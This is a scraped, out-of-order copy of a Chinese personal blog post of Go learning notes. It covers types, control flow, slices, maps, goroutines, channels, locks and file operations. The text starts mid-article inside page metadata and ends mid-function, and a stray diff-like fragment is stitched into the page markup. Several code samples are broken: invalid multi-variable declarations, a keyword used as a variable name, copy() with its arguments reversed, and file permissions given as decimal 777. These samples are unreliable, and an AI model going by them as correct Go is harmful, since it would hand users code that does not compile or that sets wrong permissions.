{\rfmt.Println(\"不是int类型，断言失败\")\r}\rGo并发\n还是讲一下进程和线程的区别\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\ngo的主线程和协程（goroutine）：主线程可调起多个协程，而多协程就是可以实现并行或者并发了\n每个goroutine (协程) 默认占用内存远比 Java 、C的线程少（goroutine是2kb，加上协程调度内存开销也比线程少，因此goroutine是轻量级线程）\n通过go关键字开启goroutine即可实现协程功能，goroutine的调度由golang运行时进行管理，例如\nvar wg sync.WaitGroup // 协程计数器\rfunc data1() {\rfor i := 0; i \u003c 5; i++ {\rfmt.Println(\"hallo word\")\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done() // 程序结束则协程计数器减1\r}\rfunc data2() {\rfor a := 0; a \u003c 5; a++ {\rfmt.Println(\"hallo golang\")\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done() // 程序结束则协程计数器减1\r}\rfunc main() {\rwg.Add(1) // 协程计数器加1\rgo data1()\rwg.Add(1) // 协程计数器加1\rgo data2()\rfor i := 0; i \u003c 5; i++ {\rfmt.Println(\"hallo hahaha\")\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Wait() // 等待所有的协程执行完毕\rfmt.Println(\"主线程结束\")\r}\r通过time.Sleep设置100毫秒定时，可以看到并没有顺序输出，因为这里使用了多协程\ngo运行时的调度器通过GOMAXPROCS参数来确定使用多少个OS线程来执行，默认值为计算机的cpu核心数，例如32核的计数器，调度器将程序同时调度到32个OS线程上，通过runtime.GOMAXPROCS()设置当前程序发时的CPU逻辑核心数，runtime.NumCPU()获取计算机的CPU核心数\n注意：go1.5版本之前，默认使用单核心，1.5版本之后默认使用全部核心数\nCpu := runtime.NumCPU() // 获取cpu个数\rfmt.Println(\"cpu核心数:\", Cpu)\rruntime.GOMAXPROCS(runtime.NumCPU() - 1) // 设置要使用的CPU数量\r看看多协程实质执行效果\nvar vg sync.WaitGroup\rfunc data(num int) {\rfor i := 0; i \u003c= 10; i++ {\rfmt.Printf(\"协程%v输出的%v条数据 \\n\", num, i)\r}\rvg.Done()\r}\rfunc main() {\rfor i := 0; i \u003c= 10; i++ {\rgo data(i)\rvg.Add(1)\r}\rvg.Wait()\rfmt.Println(\"主线程结束\")\r}\r通道（channel）是传输数据的一种数据结构（类型），被用来多个goroutine之间传递信息通讯，可以让goroutine发送特定值给另一个goroutine\ngo语言的并发模型是CSP（Communicating Sequential Processes），goroutine是并发体，channel是通信\nchannel遵循先入先出（First In First Out）的规则，保证数据的顺序，channel类型是引用类型\n声明管道（通过chan关键字声明）\nvar ch1 chan int // 声明传递整型的管道\rvar ch2 chan string // 声明传递字符串的管道\r因为其是引用类型，需要使用make()声明内存空间才能使用\nch1 = make(chan int, 10) // 创建一个可以存储10个int类型的管道\rch2 = make(chan string, 10) // 创建一个可以存储10个string类型的管道\r管道具备发送数据，接收数据和关闭管道功能，其中发送和接收都使用\u003c-符号表示，例如：\nch2 \u003c- \"hall word\" // 将hall word发送到ch2管道里\rdata := \u003c- ch2 // 接收ch2管道的数据\rclose(ch2) // 通过内置的close函数关闭管道\r管道也有容量，长度，用cap(), len()获取\n管道阻塞：当管道没有数据，还进行接收，就会出现阻塞，同样当管道容量不足了，还进行发送数据，也会导致阻塞\n注意：当管道被关闭，还继续给管道添加数据或者接收数据将导致panic: send on closed channel报错，如果goroutine执行完毕，管道不关闭，将抛出fatal error: all goroutines are asleep - deadlock!错误\n另外使用for range循环在管道取值，在使用for range之前一定要关闭管道，使用for循环遍历管道就不需要关闭管道了\ngoroutine和channel协作\nfunc data(ch1 chan int) {\rfor i := 0; i \u003c= 5; i++ {\rfmt.Println(\"写入:\", i)\rch1 \u003c- i\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done()\r}\rfunc dataGet(ch1 chan int) {\rfor a := 0; a \u003c= 5; a++ {\rfmt.Println(\"接收:\", \u003c-ch1)\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done()\r}\rfunc main() {\rch1 := make(chan int, 5)\rwg.Add(1)\rgo data(ch1)\rwg.Add(1)\rgo dataGet(ch1)\rwg.Wait()\rfmt.Println(\"主线程结束\")\r}\rdata函数写入数据到ch1，dataGet函数接收数据，并且可以看到管道写入数据后，会等待接收数据\n单向管道（限制管道在函数中只能接收数据或者只能发送数据，管道默认可接收可发送）\n声明只可发送的管道（不能接收）\nvar ch = make(chan\u003c- int, 5)\rch \u003c- 10\r声明只可读的管道（不能发送）\nvar ch1 = make(\u003c-chan int, 5)\r\u003c- ch1\r使用select关键字实现多路复用，来从多个管道接收数据，因为管道的特性，没有数据可以接收会导致阻塞\nselect关键字类似于switch语句，有case分支和default分支，一个case负责一个管道的发送和接收，select会等待某个case通信操作完成，再执行case分支的语句\n例如：\nvar ch1 = make(chan int, 10)\rch1 \u003c- 1\rch1 \u003c- 2\rch1 \u003c- 10\rch1 \u003c- 8\rch1 \u003c- 0\rch1 \u003c- 23\rvar ch2 = make(chan string, 10)\rch2 \u003c- \"hallo word\"\rch2 \u003c- \"hallo golang\"\rfor {\rselect {\rcase data:= \u003c- ch1:\rfmt.Println(\"读取ch1的数据：\", data)\rcase data:= \u003c- ch2:\rfmt.Println(\"读取ch2的数据：\", data)\rdefault:\rfmt.Println(\"所有的数据获取完毕\")\rreturn\r}\r}\r可以看到管道发送数据和接收数据是按照顺序的，另外使用select获取数据时，不要关闭管道（当使用完再关闭）\n并发安全和锁\n在并发环境中，可能会出现并发访问的问题，需要使用互斥锁\n互斥锁是并发时对共享资源进行控制访问的手段，使用sync标准库的Mutex结构体定义，sync.Mutex有两个指针方法，分别是Lock()和Unlock()\nvar mutex sync.Mutex // 定义锁\rmutex.Lock() // 上锁\rmutex.Unlock() // 解锁\r当禁止访问公共资源时上锁，当需要访问公共资源时解锁\n互斥锁实质上就是当一个goroutine访问时，其他goroutine不能访问，避免竞争，如果只读不写的话，也不会出现资源竞争的情况，因为写数据，需要保证数据同步，当写数据，又不能保证数据同步就是会出现资源竞争了\n读取数据和读取数据之间不会资源竞争的特性衍生出另外一种锁，叫做读写锁\n读写锁可以将多个读取并发，同时读取，并且对修改数据是完全互斥的，当一个goroutine修改数据（写）时，其他goroutine不能读取数据也是不能写数据\n在go语言中，读写锁用sync.RWMutex定义\nvar mu sync.RWMutex // 定义读写锁\rmu.RLock() // 上锁\rmu.RUnlock() // 解锁\r操作文件和目录\n使用os.Open读取文件\nfile, err := os.Open(\"./data.txt\") // 读取文件\rdefer file.Close() // 关闭文件流\rif err != nil {\rfmt.Println(\"打开文件出错\")\r}\rvar bytedata = make([]byte, 1024)\rfor {\rn, err := file.Read(bytedata) // n为字节数, err是判断是否读取到末尾，值为nil没读取到末尾，值为io.EOF读取到末尾\rif err == io.EOF {\rfmt.Printf(\"读取完毕\")\rbreak\r}\rfmt.Printf(\"读取到了%v 个字节 \\n\", n)\rvar strdata []byte\rstrdata := append(strdata, bytedata...)\rfmt.Println(string(strdata))\r}\r另一种读取方式（bufio，读取大文件推荐使用这个）\nfile, err := os.Open(\"./data.txt\") // 读取文件\rdefer file.Close() // 关闭文件流\rif err != nil {\rfmt.Println(\"打开文件出错\")\r}\rreader := bufio.NewReader(file)\rvar fileStr string\rvar count int = 0\rfor {\rstr, err := reader.ReadString('\\n')\rif err == io.EOF {\rfileStr += str\rfmt.Println(\"读取结束\", count)\rbreak\r}\rif err != nil {\rfmt.Println(err)\rbreak\r}\rcount ++\rfileStr += str\r}\rfmt.Println(fileStr)\r读取小文件（ioutil）\nStrdata, err:= ioutil.ReadFile(\"./data.txt\")\rif err != nil {\rfmt.Println(\"打开文件出错\")\r}\rfmt.Println(string(Strdata))\r写入文件（os.OpenFile）\nfile, err := os.OpenFile(\"./data.txt\", os.O_RDWR | os.O_APPEND, 777) // 打开文件\rdefer file.Close() // 关闭文件流\rif err != nil {\rfmt.Println(\"打开文件出错\")\r}\rstr := \"hallo word\"\rfile.WriteString(str) // 写入文件\r这里os.OpenFile接收3个参数，分别是要打开的文件的路径，打开文件的模式（多个模式用|隔开），文件的权限（和Linux文件权限一样，用八进制表示，读（04），写（02），执行（01），一般为777或者755）\nos.O_WRONLY：只读 os.O_CREATE：创建 os.O_RDONLY：只读 os.O_RDWR：读写 os.O_TRUNC：清空 os.O_APPEND：追加\nbufio写入\nfile, err := os.OpenFile(\"./main/test.txt\", os.O_RDWR | os.O_APPEND, 777) // 打开文件\rdefer file.Close()\rif err != nil {\rfmt.Println(\"打开文件出错\")\r}\rwriter := bufio.NewWriter(file)\rwriter.WriteString(\"hallo word\")\rwriter.Flush()\rioutil写入\nstr := \"hallo word\"\rioutil.WriteFile(\"./data.txt\", []byte(str), 777)\r复制内容到文件\nStr, err := ioutil.ReadFile(\"./data.txt\")\rif err != nil {\rfmt.Println(\"读取文件出错\")\rreturn\r}\rioutil.WriteFile(\"./data1.txt\", Str, 777)\r创建目录\nos.Mkdir(\"./test\", 777)\n删除文件和目录\nos.Remove(\"data1.txt\") // 删除文件\ros.Remove(\"./test) // 删除目录\ros.RemoveAll(\"./test1\") // 和Remove一样，不过这个会递归删除所有子目录和文件\r重命名\nfile := \"./data.txt\"\rerr1 := os.Rename(file,\"test.txt\")\rif err1 != nil {\rpanic(err1)\r} else {\rfmt.Println(\"文件重命名成功\")\r}\rfolder := \"./demo\"\rerr2 := os.Rename(folder, \"demo1\")\rif err2 != nil {\rpanic(err1)\r} else {\rfmt.Println(\"目录重命名成功\")\r}\r","wordCount":"2656","inLanguage":"en","datePublished":"2021-09-09T01:00:00Z","dateModified":"2021-09-09T01:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/96/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Golang学习笔记</h1><div class=post-meta><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Golang%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言</p><p>go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率</p><p>Go语言天生支持并发，提供自动垃圾回收机制</p><p>go的源文件是xxx.go</p><p>值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了</p><p>检查是否安装成功go</p><p>go version</p><p>环境配置</p><p>GOROOT对应着go的安装目录</p><p>GOPATH对应着go的源代码目录（可以放多个目录）</p><p>GOBIN对应着 go install安装和编译的二进制程序的安装目录</p><p>检查go环境</p><p>go env</p><p>源程序默认为UTF-8编码，;可省略</p><hr><p>第一个go程序</p><pre><code>package main
-import &quot;fmt&quot;
-func main(){
-    fmt.Println(&quot;hallo golang&quot;)
-}
+var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Golang学习笔记","item":"https://chenjunlinabc.github.io/posts/96/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Golang学习笔记","name":"Golang学习笔记","description":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main import \u0026quot;fmt\u0026quot; func main(){ fmt.Println(\u0026quot;hallo golang\u0026quot;) } go run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 */\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = \u0026ldquo;hallo\u0026rdquo;\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = \u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;word\u0026rdquo;","keywords":["golang"],"articleBody":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main import \"fmt\" func main(){ fmt.Println(\"hallo golang\") } go run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 */\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = “hallo”\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = “hallo”,“word”\n而且go会根据提供值来判断数据类型是什么，例如：\nvar xyz = 666\ngo还提供一个特殊的运算符 :=，可以在变量不被声明的情况下使用，例如：\nhallo,word := “hallo”, “word”\n:=在实质开发中会经常使用的\ngo类型强制转换（和java一样，高精度转为低精度会失真）\nvar abc int = 666\nvar xyz float = 3.14\nvar gg string = “123”\nfloat(abc) // 强制转换为浮点数\nint(xyz) // 强制转为整型，会失去小数点之后的数值\nstrconv.Itoa(abc) // 强制转为字符串\nstrconv.Atoi(gg) // 强制转为整型\n注意：同一作用域中不能重复声明，而且必须要声明变量才能使用，而且必须要使用\n声明多个变量\nvar abc,xyz,hallo int\nvar( abc int xyz float ) 常量\n和其他语言一样，常量表示的就是不可修改的变量\nconst abc, xyz int = 123, 666\ngo还提供了一种特殊的定义方式，例如：\nconst( a = \"hi\" b = \"hallo\" ) 如果声明多个常量时，省略了值那么就是表示和第一行值相同，例如：\nconst( a = 123 b c ) 注意：定义的时候必须赋值\niota常量计数器\nconst( a = iota b _ d ) iota在出现const关键字时重置为0，const每增加一行常量声明，iota加1（自增长），_（下划线，空白标识符（占位），常用于忽略函数多个返回值，例如err）为跳过某些值\n类型\ngolang的数据类型分为基本数据类型和复合数据类型\n基本数据类型有整型，浮点型，字符串，布尔型\n复合数据类型有数组，函数，切片，结构体，字典（map），通道（channel），接口\n注意：像整型有很多种，像int8，int16，int32，uint8，uint16等等，如果直接写int的话，在不同的操作系统中是不一样的，32为操作系统的int指的是int32，64位操作系统指int64\n可使用unsafe.Sizeof查看变量的长度（在内存中的存储空间），例如：\nvar num100 = 100 fmt.Println(unsafe.Sizeof(num100)) 值类型：值类型被声明变量后，不管有没有赋值，都会分配内存给它，也就是说值类型的声明不需要分配内存，因为在声明的时候已经分配好了内存\n引用类型：变量存储的是一个地址，地址对应的内存空间就是真正存储数据的，引用类型必须申请内存才能使用，例如make()\n自定义类型：可以使用type关键字来自定义类型，例如：type Testint int // 将Testint定义为int类型\n类型转换\n注意：高位转低位会出现精度丢失，例如\nvar abc int16 = 666 fmt.Println(int8(abc)) // -102 数字字面量语法\ngo1.13版本+，引入了数字字面量语法，方便使用二进制，八进制，十六进制的格式定义数字，例如:\nabc := 0b10100010101000001011 fmt.Println(abc) // 666123 0b表示二进制\n0o表示八进制\n0x表示十六进制\n进制的转换\nvar abc int64 = 100 fmt.Println(abc) a := strconv.FormatInt(abc, 2) // 二进制 fmt.Println(a) b := strconv.FormatInt(abc, 8) // 八进制 fmt.Println(b) c := strconv.FormatInt(abc, 10) // 十进制（默认） fmt.Println(c) d := strconv.FormatInt(abc, 16) // 十六进制 fmt.Println(d) 浮点型（也就是小数）\nGo的浮点型分为float32和float64\nfloat32的浮点数的最大范围为3.4028234663852886e+38，可用math.MaxFloat32输出查看\nfloat64的浮点数的最大范围为1.7976931348623157e+308，可用math.MaxFloat64输出查看\nvar pi = math.Pi fmt.Printf(\"%f\\n\", pi) // 默认小数点6位 fmt.Printf(\"%.10f\\n\", pi) // 指定输出小数点后几位 字符串\ngo语言字符串编码为UTF-8\n例如： hallo := “你好 Word”\n可输出多行字符串\nvar str123 = `第一行 第二行 第三行` fmt.Println(str123) len()：字符串长度\n+或fmt.Sprintf：拼接字符串\nstrings.Index()：返回字符在字符串中的位置\nstrings.contains：返回是否包含某个字符\n布尔类型\nvar abc = false var xyz = true\nbyte和rune类型\n组成字符串的元素叫字符，可遍历字符串获取字符\ngo语言的字符分为2种类型，分别为uint8（byte，表示ACII码的一个字符）和rune类型（表示一个UTF-8字符）\n因此使用非ACII码的字符，需要使用rune类型（一个汉字占3个字节，字母只占一个字节）\n注意：修改字符串必须将其转换为byte或者rune类型，完成修改后再转回string，例如：\nhallo := \"你好,golang\" abc := []rune(hallo) abc[0] = '您' fmt.Println(string(abc)) 整型转字符串类型\nvar a int = 100 b := fmt.Sprintf(\"%d\", a) fmt.Printf(b) 字符串转整型或者浮点型\nstr := \"666\" str1 := \"3.14\" strScore, err := strconv.Atoi(str) fmt.Println(strScore, err) // err为转换失败的信息 num, err := strconv.ParseInt(str, 10, 64) fmt.Println(num, err) num1, err := strconv.ParseFloat(str1, 10) fmt.Println(num1, err) 运算符\n+：加，-减，*乘，/除，%求余\n注意：在go中，++和–是单独使用的，是没有++i的，正确写法例如：\nvar i int = 64 i++ // ++i 错误 if判断\npackage main import \"fmt\" func main(){ abc := 123 if abc \u003e666{ fmt.Println(\"abc大于666\") } else if abc \u003c 666{ fmt.Println(\"abc小于666\") }else{ fmt.Println(abc) } } if的另一种写法：\nif abc:=123; xyz\u003e=100{ fmt.Println(\"abc\u003e=100\") } switch判断（用于对大量的值进行判断）\nxyz := \"abc\" switch xyz { case \"abc\": fmt.Println(\"1\") case \"123\": fmt.Println(\"2\") default: fmt.Println(xyz) } switch判断的另一种使用方法\nswitch abc := \"hallo\"; abc { case \"hallo\":{ fmt.Println(\"hallo\") break // 不用break也能跳出switch语句 } case \"hi\",\"hello\":{ // 多个值用逗号分隔 fmt.Println(\"hi\") fmt.Println(\"hello\") break\t} default:{ fmt.Println(\"hallo word\") break } } 如果想继续执行下一个case，可以使用fallthrough语句（switch最后一个分支不要使用fallthrough语句，否则报错，而且不能在case语句中间使用，必须是在case语句最后一个语句中使用）例如：\nfunc hallo() int { abc := 100 + 666 + 123 return abc } func main() { switch abc := hallo(); { case abc \u003e 500: fmt.Printf(\"num \u003c 500\\n\") fallthrough case abc \u003e 666: fmt.Printf(\"num \u003c 666\\n\") fallthrough case abc \u003e 123: fmt.Printf(\"num \u003c 123\\n\") } } for循环\nfor abc := 1; abc\u003c10 ; abc++{ fmt.Println(abc) } golang是没有while循环语句，但是可以使用for循环来做出类似的功能\nabc := 1 for abc\u003c10 { fmt.Println(abc) abc++ } for循环可用break，goto，return，panic语句退出循环\nbreak跳出循环\n一次性跳出多层循环 break LOOP\ncontinue是退出当前循环\ngoto是无条件转移到goto语句的行，可用于跳出循环，条件转移，例如：\nfunc main() { var abc int = 123 LOOP: for abc \u003c 666 { if abc == 233 { abc = abc + 1 goto LOOP } fmt.Printf(abc) abc++ } } return可用于函数或者方法中，用于跳出当前函数或者方法，如果return语句在main函数中，将是终止程序运行，在普通函数中，将是终止当前函数执行（return后面的程序不执行了）\n当return没有带返回值，将是终止，如果带返回值，那么就是终止并且返回值\ngo语言并没有像java那样的异常嵌套机制，go语言用panic-and-recover来替代\npanic可中断原来的流程控制，某个函数调用了panic，将终止该函数的执行，如果有延迟函数（defer）则执行该defer函数，返回其调用者，一直到goroutine（goroutine是go语言的轻量级线程，由runtime管理，go语言会智能的将goroutine中的任务合理分配给每个CPU，go程序在运行时，会给main()函数建立一个默认goroutine，用go关键字创建goroutine，例如：go 函数名(参数)）的全部函数都返回，然后打印panic信息，堆栈信息，最后到终止程序\npanic：在任何地方都可以触发 recover：只在用了defer修饰的函数内有效\n注意：平时不要用panic-and-recover，而是errors，只有当程序不能继续执行了才用，例如出现不可恢复的错误，不能再让它继续执行了，这里举个例子：\nfunc abc() { fmt.Println(\"hallo word\") } func hallo() { defer func() { err := recover() if err != nil { fmt.Println(\"hallo word\") } }() panic(\"runtime error!!!\") } func main() { abc() hallo() } errors（在go语言中，发生错误，是通过返回errprs值，来对errprs值进行修改或者忽略，当没有错误时，rrprs值为nil，因此可以通过判断errors的值是否为nil来知道是否出现错误，以及处理错误）\nfor range循环（可用于遍历数组，字符串，字典（map），切片（数组），channel（通道））\nfor range循环数组，字符串，切片返回索引和值，字典（map）返回键和值，channel（通道）返回通道内的值\n例如：\nvar abc = \"hallo word\" for key, index := range abc { fmt.Printf(\"%v:%c,\", key, index) } 数组（在go中，数组是指同一系列，同一类型的数据集合，组成数组的数据叫元素，go语言的数组的元素是被分配到连续的内存地址中，索引元素是速度非常快的）\nvar abc [16]int // 定义int类型，元素个数为16的数组 abc[0] = 10 abc[1] = 66 fmt.Println(abc) var xyz = [3]string {\"hallo word\",\"golang\",\"hahaha\"} fmt.Println(xyz) var a = [...]int{1, 2, 3, 4, 5} // 自动判断数组长度 fmt.Println(a) b := [...]int{1: 66, 3: 100} fmt.Println(b) 遍历数组\nhallo := [...]int{1: 66, 3: 100} for i := 0; i \u003c len(hallo); i++ { fmt.Print(hallo[i], \"\\n\") } 也可以用for range方法\n数组是值类型，将数组赋值给另一个变量，会生成副本，修改另一个变量，只会修改副本，不会修改原来的数组，例如：\nhallo := [...]int{1: 66, 3: 100} abc := hallo abc[1] = 100 fmt.Println(hallo, abc) 可以看到在golang中数组不是引用类型\n二维数组\nvar abc = [...][2]int{{100,123},{222,333},{666,60}} fmt.Println(abc) for i := 0; i \u003c len(abc); i++ { for j := 0; j \u003c len(abc[0]); j++ { fmt.Println(abc[i][j]) } } 数组的初始值为nil（nil表示为空）\n知识点：指针和引用类型的默认值为nil，需要分配空间\n切片\n切片和数组类似（切片是基于数组类型进行一层封装），不过切片是引用类型（调用的只是在内存中的地址，指针）的\nvar hallo = []int{100, 2333, 666} abc := hallo abc[0] = 123 xyz = abc[1:2] fmt.Println(hallo, abc, xyz) for i := 0; i \u003c len(abc); i++ { fmt.Print(abc[i], \"\\n\") } 长度用len()获取，容量用cap()获取\nmake函数创建切片\nvar data = make([]int, 2, 8) // int类型，长度为2，容量为8 fmt.Printf(\"长度：%d, 容量%d\", len(data), cap(data)) append()切片扩容\nvar hallo = []int64{100, 2333, 666} hallo = append(hallo, 123) fmt.Println(hallo) // 100, 2333, 666, 123 abc := []int64{1,3,4,5,6} hallo = append(hallo, abc...) // 将两个切片合并 fmt.Println(hallo) // 100,2333,666,123,1,3,4,5,6 copy()函数复制切片（可以理解为深拷贝）\nvar hallo = []int64{100, 2333, 666} var abc = make([]int64, len(hallo), len(hallo)) copy(hallo, abc) abc[0] = 4 fmt.Println(hallo,abc) 删除切片的值（golang中并没有删除切片的值的方法，不过可以用append()实现）\nvar hallo = []int64{100, 2333, 666} hallo = append(hallo[:2], hallo[3:]...) fmt.Println(hallo) 遍历切片和数组一样\nmap（字典）\nmap（字典）是无序的基于key-value的数据结构，在golang中map是引用类型\nvar abc = make(map[string]int) // string是键的类型，int是键对应的值的类型 abc[\"user\"] = 123 abc[\"pass\"] = 666 fmt.Println(abc) fmt.Println(abc[\"pass\"]) 或者\nvar hallo = map[string]string { \"user\":\"root\", \"pass\":\"abchahaha\", } fmt.Println(hallo) 遍历map\nvar hallo = map[string]string { \"user\":\"root\", \"pass\":\"abchahaha\", } for key, value := range hallo { fmt.Println(\"key:\", key, \" value:\", value) } 判断map中某个键值是否存在\nvar hallo = map[string]string { \"user\":\"root\", \"pass\":\"abchahaha\", } value, yes := hallo[\"pass\"] // 返回2个值。value为返回结果，yes为是否存在该键值 fmt.Println(value, yes) delete()删除键值对\nvar hallo = map[string]string { \"user\":\"root\", \"pass\":\"abchahaha\", } delete(hallo, \"pass\") value, no := hallo[\"pass\"] fmt.Println(value, no) 通道\nGolang中还有一个特殊的类型chan，这个类型一般用来线程之间的数据传输\n声明chan\nvar a chan int a := make(chan int, 1) a \u003c- 999 b := \u003c- a\nchan底层是指针，指针初始值为空，需要实例化，make()就是实例化了chan\n\u003c- 999：将值放进通道\n\u003c- a : 将 999 从通道中提取出来\n函数\n函数通过func关键字来声明和定义函数\nfunc hallo(a ...string){ fmt.Println(a) } func main(){ hallo(\"hallo golang!!!\") } 匿名函数\nfunc main() { func () { fmt.Println(\"我是匿名函数\") }() } 因为没有函数名，没法像正常函数那样被调用，需要将其赋值或者作为立即执行函数\n返回值\nfunc hallo(a, b int) (int,int,int) { x := a+b y := a-b z := a*b return x, y, z } func main(){ abc, xyz, go := hallo(6,3) fmt.Println(abc, xyz, go) } 当然也是可以自动返回\nfunc hallo(a, b int) (x int,y int,z 